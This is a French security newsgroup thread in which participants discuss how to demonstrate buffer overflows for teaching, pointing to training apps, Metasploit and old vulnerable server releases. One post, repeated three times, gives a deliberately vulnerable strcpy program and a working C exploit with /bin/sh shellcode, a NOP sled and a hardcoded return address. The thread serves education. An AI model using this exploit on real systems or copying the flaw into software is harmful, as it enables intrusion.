Demonstration de Remote Buffer Overflow

AMcD®

24/12/2004 à 12:54

choowie wrote:

Pour des raisons pédagogiques, je voudrais faire une démonstration de
remote buffer overflow. Une solution serait de chercher n'importe
soft serveur ayant de telles failles connues et de lancer le script
kiddy ad hoc.

Heu, as-tu bien compris ce qu'était un script kiddie/kiddy ?

Est-ce qu'il n'existe pas un soft specialement ecrit pour faire une
demo de buffer overflow? J'imagine le comportement suivant:
- On lance un serveur qui fournit un service (genre "echo de ce que
l'on tape") sur un port TCP.
- On lance le exploit client sur une autre machine en lui indiquant
l'adresse IP et le port du serveur.
- Le serveur se prend un buffer overflow et un autre programme est
injecté dans le petit espace offert.
- Oh magie, quand on fait désormais un telnet sur le port du serveur,
on a désormais un shell.

Puisque tu as bien décrit le cheminement, il ne te reste plus qu'à l'écrire
:-). Sinon, il doit bien se trouver des dizaines de tutoriels sur le Web
concernant les buffers overflows, remote ou locaux...

Exemples :

-
http://www.governmentsecurity.org/articles/IntroductiontoBufferOverflow.php
- http://www.subterrain.net/overflow-papers/adv.overflow.paper.txt
- http://www.subterrain.net/overflow-papers/exploit.txt

Merci

De rien. Comme c'est Noël, je me dis que les modérateurs de ce forum seront
peut-être plus ouverts et que ce serait l'occasion de voir un post de moi
ici. Cela fait quand même des années que j'essaye !

--
AMcD®

http://arnold.mcdonald.free.fr/

choowie

24/12/2004 à 16:06

AMcD® wrote:

choowie wrote:

Pour des raisons pédagogiques, je voudrais faire une démonstration de
remote buffer overflow. Une solution serait de chercher n'importe
soft serveur ayant de telles failles connues et de lancer le script
kiddy ad hoc.

Heu, as-tu bien compris ce qu'était un script kiddie/kiddy ?

Pour moi, un script kiddie est un prog tout fait qui permet à quelqu'un qui
n'a pas les connaissances de lancer un exploit sur une machine. Ce n'est pas
ça?
Et bien non, tu as raison. Après une petite recherche sur google, un script
kiddie est la personne qui utilise les progs tout fait, pas le prog lui
meme. Ce qui syntaxiquement en anglais a plus de sens. sorry.

<snip>

Puisque tu as bien décrit le cheminement, il ne te reste plus qu'à
l'écrire :-).
Oui, enfin ca fait bien 7 ans que je n'ai pas écrit de prog aussi bas

niveau. Vu mes *talents* de programmeurs, ca va prendre un certain temps
avant d'arriver à un résultat. Pour faire un programme qui crash par contre,
ca va pas prendre bcp de temp. :o)

Je me disais qu'il y avait peut etre déjà quelqu'un qui s'était amusé à
faire ça...

<snip>

De rien. Comme c'est Noël, je me dis que les modérateurs de ce forum
seront peut-être plus ouverts et que ce serait l'occasion de voir un
post de moi ici. Cela fait quand même des années que j'essaye !

Ben, c'est Noel :o)

--
Choowie

David Bizeul

26/12/2004 à 01:50

Pour des raisons pédagogiques, je voudrais faire une démonstration de remote
buffer overflow. Une solution serait de chercher n'importe soft serveur
ayant de telles failles connues et de lancer le script kiddy ad hoc.
Malheureusement, il est difficile aujourd'hui de trouver une version de soft
qui contient la faille :^) Les auteurs des softs preferent que l'on
télécharge la version patchée et cachent le telechargement de la version
buggée (Ce qui me semble normal).

Est-ce qu'il n'existe pas un soft specialement ecrit pour faire une demo de
buffer overflow? J'imagine le comportement suivant:
- On lance un serveur qui fournit un service (genre "echo de ce que l'on
tape") sur un port TCP.
- On lance le exploit client sur une autre machine en lui indiquant
l'adresse IP et le port du serveur.
- Le serveur se prend un buffer overflow et un autre programme est injecté
dans le petit espace offert.
- Oh magie, quand on fait désormais un telnet sur le port du serveur, on a
désormais un shell.

Merci

Tu peux aller faire un tour sur le site de Foundstone, ils ont réalisé
un outil (hacmebank) permettant de simuler un site bancaire avec
certaines vulnérabilités. Tu as notamment du buffer overflow, ce qui
t'intéresse. C'est interactif, donc tout à fait adapté à ton besoin.

Voici un extrait du site :
Hacme Bank is designed to teach application developers, programmers,
architects and security professionals how to create secure software.
Hacme Bank simulates a "real-world" online banking application, which
was built with a number of known and common vulnerabilities such as SQL
injection and cross-site scripting. This allows users to attempt real
exploits against a web application and thus learn the specifics of the
issue and how best to fix it. Foundstone uses this application
extensively in our Ultimate Web Hacking and Building Secure Software
training classes.

http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/hacmebank.htm

Pour des raisons pédagogiques, je voudrais faire une démonstration de remote
buffer overflow. Une solution serait de chercher n'importe soft serveur
ayant de telles failles connues et de lancer le script kiddy ad hoc.
Malheureusement, il est difficile aujourd'hui de trouver une version de soft
qui contient la faille :^) Les auteurs des softs preferent que l'on
télécharge la version patchée et cachent le telechargement de la version
buggée (Ce qui me semble normal).

Est-ce qu'il n'existe pas un soft specialement ecrit pour faire une demo de
buffer overflow? J'imagine le comportement suivant:
- On lance un serveur qui fournit un service (genre "echo de ce que l'on
tape") sur un port TCP.
- On lance le exploit client sur une autre machine en lui indiquant
l'adresse IP et le port du serveur.
- Le serveur se prend un buffer overflow et un autre programme est injecté
dans le petit espace offert.
- Oh magie, quand on fait désormais un telnet sur le port du serveur, on a
désormais un shell.

Merci

Tu peux aller faire un tour sur le site de Foundstone, ils ont réalisé
un outil (hacmebank) permettant de simuler un site bancaire avec
certaines vulnérabilités. Tu as notamment du buffer overflow, ce qui
t'intéresse. C'est interactif, donc tout à fait adapté à ton besoin.

Voici un extrait du site :
Hacme Bank is designed to teach application developers, programmers,
architects and security professionals how to create secure software.
Hacme Bank simulates a "real-world" online banking application, which
was built with a number of known and common vulnerabilities such as SQL
injection and cross-site scripting. This allows users to attempt real
exploits against a web application and thus learn the specifics of the
issue and how best to fix it. Foundstone uses this application
extensively in our Ultimate Web Hacking and Building Secure Software
training classes.

http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/hacmebank.htm

Vous avez filtré cet utilisateur ! Consultez son message

T0t0

31/12/2004 à 12:53

"choowie" wrote in message
news:41cc0d32$0$21439$

Oui, enfin ca fait bien 7 ans que je n'ai pas écrit de prog aussi bas
niveau.

Arf, ce n'est que du C :-)
Enfin, je dis ça, mais je ne sais pas en pondre une ligne :-/
Si je dis des bêtises, n'hésitez pas à me flageller !

Vu mes *talents* de programmeurs, ca va prendre un certain temps
avant d'arriver à un résultat. Pour faire un programme qui crash par contre,
ca va pas prendre bcp de temp. :o)
Je me disais qu'il y avait peut etre déjà quelqu'un qui s'était amusé à
faire ça...

Ben le principe de faire un programme exploitable est relativement
simple. Par exemple, la fonction strcpy ne vérifie pas la taille des
données entrées et est vulnérable.

int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}

Pour l'exploiter, il faut entrer un certain nombre de données qui
vont te permettre d'aller écraser l'adresse de retour de la fonction,
et remplacer cette adresse de retour par celle d'un petit programme
que nous avons introduit dans nos donnéees. Le travail va consister
à trouver la quantité de données permettant de déborder du buffer
alloué pour écraser l'adresse de retour, et d'essayer de
faire pointer cette adresse dans une zone mémoire où se trouve notre
petit programme (shellcode) (ou du moins dans une zone composée de NOPs
précédant notre shellcode)
Cela peut notamment se faire avec un débugger. Les docs sur le net
montrent comment l'utiliser.
Voici un programme qui exploite le prog vulnérable. Il marche sous
linux mandrake i386. Si tu es sous une autre architecture, il est
possible que l'adressage mémoire soit différent et qu'il faille changer
certaines des valeurs.

#include <stdlib.h>
#define BUFFER_LEN 120
#define OVERFLOW 8
int main()
{
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07"
"x89x46x0cx89xf3x8dx4ex08x8dx56"
"x0cxb0x0bxcdx80x31xdbx89xd8x40"
"xcdx80xe8xdcxffxffxff"
"/bin/sh";
char newret[] = "xf0xf8xffxbf"; // adresse du buffer
char buffer[256];
int i;
int j;

for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(strlen(newret)+strlen(shellcode
))); i++)
buffer[i] = 'x90'; // on place des NOPs

for (j = 0; shellcode[j]; j++, i++)
buffer[i] = shellcode[j]; // on copie le shellcode

for (j = 0; newret[j]; j++, i++)
buffer[i] = newret[j]; // on copie l'adresse du buffer

execl("/chemin_du_prog_vulnerable/prog_vulnerable", "prog_vulnerable",
buffer, NULL);

Si tu veux que l'exploit soit distant, il faut y intégrer une socket
qui va injecter les données reçues au programme.

De rien. Comme c'est Noël, je me dis que les modérateurs de ce forum
seront peut-être plus ouverts et que ce serait l'occasion de voir un
post de moi ici. Cela fait quand même des années que j'essaye !
Ben, c'est Noel :o)

Nop, c'est juste en charte :-)

--
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG

"choowie" <choowieNO_SP_AM@free.fr> wrote in message
news:41cc0d32$0$21439$636a15ce@news.free.fr

Oui, enfin ca fait bien 7 ans que je n'ai pas écrit de prog aussi bas
niveau.

Arf, ce n'est que du C :-)
Enfin, je dis ça, mais je ne sais pas en pondre une ligne :-/
Si je dis des bêtises, n'hésitez pas à me flageller !

Vu mes *talents* de programmeurs, ca va prendre un certain temps
avant d'arriver à un résultat. Pour faire un programme qui crash par contre,
ca va pas prendre bcp de temp. :o)
Je me disais qu'il y avait peut etre déjà quelqu'un qui s'était amusé à
faire ça...

Ben le principe de faire un programme exploitable est relativement
simple. Par exemple, la fonction strcpy ne vérifie pas la taille des
données entrées et est vulnérable.

int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}

Pour l'exploiter, il faut entrer un certain nombre de données qui
vont te permettre d'aller écraser l'adresse de retour de la fonction,
et remplacer cette adresse de retour par celle d'un petit programme
que nous avons introduit dans nos donnéees. Le travail va consister
à trouver la quantité de données permettant de déborder du buffer
alloué pour écraser l'adresse de retour, et d'essayer de
faire pointer cette adresse dans une zone mémoire où se trouve notre
petit programme (shellcode) (ou du moins dans une zone composée de NOPs
précédant notre shellcode)
Cela peut notamment se faire avec un débugger. Les docs sur le net
montrent comment l'utiliser.
Voici un programme qui exploite le prog vulnérable. Il marche sous
linux mandrake i386. Si tu es sous une autre architecture, il est
possible que l'adressage mémoire soit différent et qu'il faille changer
certaines des valeurs.

#include <stdlib.h>
#define BUFFER_LEN 120
#define OVERFLOW 8
int main()
{
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07"
"x89x46x0cx89xf3x8dx4ex08x8dx56"
"x0cxb0x0bxcdx80x31xdbx89xd8x40"
"xcdx80xe8xdcxffxffxff"
"/bin/sh";
char newret[] = "xf0xf8xffxbf"; // adresse du buffer
char buffer[256];
int i;
int j;

for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(strlen(newret)+strlen(shellcode
))); i++)
buffer[i] = 'x90'; // on place des NOPs

for (j = 0; shellcode[j]; j++, i++)
buffer[i] = shellcode[j]; // on copie le shellcode

for (j = 0; newret[j]; j++, i++)
buffer[i] = newret[j]; // on copie l'adresse du buffer

execl("/chemin_du_prog_vulnerable/prog_vulnerable", "prog_vulnerable",
buffer, NULL);

Si tu veux que l'exploit soit distant, il faut y intégrer une socket
qui va injecter les données reçues au programme.

De rien. Comme c'est Noël, je me dis que les modérateurs de ce forum
seront peut-être plus ouverts et que ce serait l'occasion de voir un
post de moi ici. Cela fait quand même des années que j'essaye !
Ben, c'est Noel :o)

Nop, c'est juste en charte :-)

--
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG

Vous avez filtré cet utilisateur ! Consultez son message

"choowie" wrote in message
news:41cc0d32$0$21439$

Oui, enfin ca fait bien 7 ans que je n'ai pas écrit de prog aussi bas
niveau.

Arf, ce n'est que du C :-)
Enfin, je dis ça, mais je ne sais pas en pondre une ligne :-/
Si je dis des bêtises, n'hésitez pas à me flageller !

Vu mes *talents* de programmeurs, ca va prendre un certain temps
avant d'arriver à un résultat. Pour faire un programme qui crash par contre,
ca va pas prendre bcp de temp. :o)
Je me disais qu'il y avait peut etre déjà quelqu'un qui s'était amusé à
faire ça...

Ben le principe de faire un programme exploitable est relativement
simple. Par exemple, la fonction strcpy ne vérifie pas la taille des
données entrées et est vulnérable.

int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}

Pour l'exploiter, il faut entrer un certain nombre de données qui
vont te permettre d'aller écraser l'adresse de retour de la fonction,
et remplacer cette adresse de retour par celle d'un petit programme
que nous avons introduit dans nos donnéees. Le travail va consister
à trouver la quantité de données permettant de déborder du buffer
alloué pour écraser l'adresse de retour, et d'essayer de
faire pointer cette adresse dans une zone mémoire où se trouve notre
petit programme (shellcode) (ou du moins dans une zone composée de NOPs
précédant notre shellcode)
Cela peut notamment se faire avec un débugger. Les docs sur le net
montrent comment l'utiliser.
Voici un programme qui exploite le prog vulnérable. Il marche sous
linux mandrake i386. Si tu es sous une autre architecture, il est
possible que l'adressage mémoire soit différent et qu'il faille changer
certaines des valeurs.

#include <stdlib.h>
#define BUFFER_LEN 120
#define OVERFLOW 8
int main()
{
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07"
"x89x46x0cx89xf3x8dx4ex08x8dx56"
"x0cxb0x0bxcdx80x31xdbx89xd8x40"
"xcdx80xe8xdcxffxffxff"
"/bin/sh";
char newret[] = "xf0xf8xffxbf"; // adresse du buffer
char buffer[256];
int i;
int j;

for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(strlen(newret)+strlen(shellcode
))); i++)
buffer[i] = 'x90'; // on place des NOPs

for (j = 0; shellcode[j]; j++, i++)
buffer[i] = shellcode[j]; // on copie le shellcode

for (j = 0; newret[j]; j++, i++)
buffer[i] = newret[j]; // on copie l'adresse du buffer

execl("/chemin_du_prog_vulnerable/prog_vulnerable", "prog_vulnerable",
buffer, NULL);

Si tu veux que l'exploit soit distant, il faut y intégrer une socket
qui va injecter les données reçues au programme.

De rien. Comme c'est Noël, je me dis que les modérateurs de ce forum
seront peut-être plus ouverts et que ce serait l'occasion de voir un
post de moi ici. Cela fait quand même des années que j'essaye !
Ben, c'est Noel :o)

Nop, c'est juste en charte :-)

--
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG

Erwann ABALEA

01/01/2005 à 18:23

Bonjour,

On Fri, 31 Dec 2004, T0t0 wrote:

Ben le principe de faire un programme exploitable est relativement
simple. Par exemple, la fonction strcpy ne vérifie pas la taille des
données entrées et est vulnérable.

int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}

A noter pour les programmeurs que le code ci-dessus ne peut pas être
vérifié correctement avec tous les outils style Valgrind, Purify,
electricfence, etc, tout simplement parce que le tableau "buffer" est
alloué sur la pile, que la pile est plus grande que ça, et qu'un petit
débordement ne fera pas raler ces outils, il faut y aller franchement pour
que ça gueule.

Je ne connais que BoundsChecker (sous Windows, et avec les bonnes options)
et checkergcc pour faire correctement le travail dans ces conditions.

J'espère que ça reste en charte, et bonne année à tous.

--
Erwann ABALEA - RSA PGP Key ID: 0x2D0EABD5
-----
Je tenais a remercier Wanadoo de l'hommage rendu ce jour au roi
Hussein récemment disparu. En effet ma connexion est elle aussi
"cliniquement morte" avec un débit de 0,2 Ko par seconde en pointe.
-+- PV in: Guide du Neuneu d'Usenet - Le Roi est mort, vive le Roi -+-

Erwann ABALEA

03/01/2005 à 10:55

On Sun, 2 Jan 2005, Xavier wrote:

Erwann ABALEA wrote:

A noter pour les programmeurs que le code ci-dessus ne peut pas être
vérifié correctement avec tous les outils style Valgrind, Purify,
electricfence, etc, tout simplement parce que le tableau "buffer" est
alloué sur la pile, que la pile est plus grande que ça

Oui, mais ça, c'est un problème purement C.

Non. Puisque c'est un problème C, c'est aussi un problème C++, à moins que
tu ne programmes qu'avec des objets, et que tu n'utilises jamais l'API de
ton OS (qui n'est certainement pas en C++).

Sans aller jusqu'à troller en préconisant Pascal, ou Modula, une classe
String[100] en C++ détecterait le débordement à l'exécution.

Tu n'as pas compris mon propos. Ton exemple n'est pas identique à
l'exemple initial, simplement parce que dans l'exemple initial les données
sont stockées sur la pile alors que dans ton exemple elles le sont dans le
tas. Purify, Valgrind, ElectricFence et autres peuvent détecter
efficacement un débordement de buffer (même d'un seul octet) si ce buffer
est alloué dans le tas, pas dans la pile.

Manque de pot, depuis une dizaine d'année, C++ tend à tomber en
désuétude, principalement à cause de la lourdeur et de la lenteur de
gc++.

Oh le beau troll...

--
Erwann ABALEA - RSA PGP Key ID: 0x2D0EABD5
-----
Ce ne sont que des propositions. Je ne veux pas les faire passer en
force. Je pense que si mes idées doivent être reprises, elles ne
doivent pas passer au vote, pour plusieurs raison :
-+- BC in : http://neuneu.ctw.cc - Neuneu sans vote et sans forcer -+-

Nicob

03/01/2005 à 15:23

On Fri, 24 Dec 2004 10:22:12 +0000, choowie wrote:

Malheureusement, il est difficile aujourd'hui de trouver une version de soft
qui contient la faille :^) Les auteurs des softs preferent que l'on
télécharge la version patchée et cachent le telechargement de la version
buggée (Ce qui me semble normal).

Si tu jettes un oeil au Metasploit Framework (http://www.metasploit.com/),
tu verras qu'il existe des exploits pour lesquels tu trouveras sans peine
des versions vulnérables. Si tu préfères faire ça sur du Windows, tu
dois pouvoir trouver sur un vieux CD un NT 4.0 ou Win2K non patché qui
feront très bien l'affaire pour les vulns IIS. Tu peux aussi faire ça
sur un vieux Apache (toujours sous Win32). Si tu préfères du *nix, les
exploits pour Samba, PPTP ou Squid devraient convenir.

Et les vieilles versions (correspondantes aux exploits Metasploit) ne sont
pas si difficiles que ça à trouver :

http://www.squid-cache.org/Versions/v2/2.5/squid-2.5.STABLE1.tar.gz
http://us2.samba.org/samba/ftp/old-versions/samba-2.2.0.tar.gz
http://archive.apache.org/dist/httpd/old/apache_1_3_2_win32.exe

Nicob

Cedric Blancher

03/01/2005 à 18:46

Le Mon, 03 Jan 2005 14:23:53 +0000, Nicob a écrit :

Si tu préfères du *nix, les exploits pour Samba, PPTP ou Squid
devraient convenir.

Trouver des vieilles sources de WuFTPd (voire même des packages) est
relativement facile. Les bugs disponibles sont variés (buffer overflow,
format string) et parfois assez drôles et fortement didactique. J'ai un
faible pour le FS sur la commande SITE.
Les exploits sont également triviaux à dénicher, ou à recoder soi-même.

--
Je n'ai pas envie de perdre mon temps à leur APD à la con. Mais j'ai
besoin du certificat qu'y est délivré, pour passer le permis. J'ai
entendu qu'on le trouvait sur Internet. Quelqu'un aurait-il des infos?
-+- DC in GNU : Neuneu s'achète une conduite -+-

SecuVirus.com

03/01/2005 à 23:55

Pour des raisons pédagogiques, je voudrais faire une démonstration de
remote buffer overflow. Une solution serait de chercher n'importe
soft serveur ayant de telles failles connues et de lancer le script
kiddy ad hoc. Malheureusement, il est difficile aujourd'hui de
trouver une version de soft qui contient la faille :^) Les auteurs
des softs preferent que l'on télécharge la version patchée et cachent
le telechargement de la version buggée (Ce qui me semble normal).

Est-ce qu'il n'existe pas un soft specialement ecrit pour faire une
demo de buffer overflow? J'imagine le comportement suivant:
- On lance un serveur qui fournit un service (genre "echo de ce que
l'on tape") sur un port TCP.
- On lance le exploit client sur une autre machine en lui indiquant
l'adresse IP et le port du serveur.
- Le serveur se prend un buffer overflow et un autre programme est
injecté dans le petit espace offert.
- Oh magie, quand on fait désormais un telnet sur le port du serveur,
on a désormais un shell.

Merci

Salut,
Moi aussi je cherche à réaliser ce genre de chose ( BoF ) pour le
comprendre...
J'ai fait ça :

#include <cstdlib>
#include <iostream>

using namespace std;

int main( int argc, char *argv[] )
{
char buffer[128];
if( argc > 1 )
{
strcpy( buffer, argv[1] );
printf( "Argument : %s", buffer );
}
else
{
printf( "Utilisation : Test.exe <argument>n" );
system( "pause" );
}
return( EXIT_SUCCESS );
}

A priori ça devrai passer... Mais EIP est pas écrasé même avec 600*'A' en
paramètres... Cependant ça écrase EBP.

- Mon exemple est-il correct ?
- Pourquoi EIP n'est il pas écrasé ?

Merci d'avance,
Mathieu

Manu

04/01/2005 à 11:36

SecuVirus.com wrote:

A priori ça devrai passer... Mais EIP est pas écrasé même avec 600*'A' en
paramètres... Cependant ça écrase EBP.

- Mon exemple est-il correct ?
- Pourquoi EIP n'est il pas écrasé ?

Sur ta plateforme peut-etre que le compilateur ne gère 'main' pas comme
une fonction classique ce qui fait qu'elle n'est peut-etre pas appelée
via un CALL qui empilerait EIP, mais par un saut ou noyée dans le reste
du code initialise l'environnement.
Il faudrait regarder avec un desassembleur.

Demonstration de Remote Buffer Overflow

10 réponses

Veuillez sélectionner un problème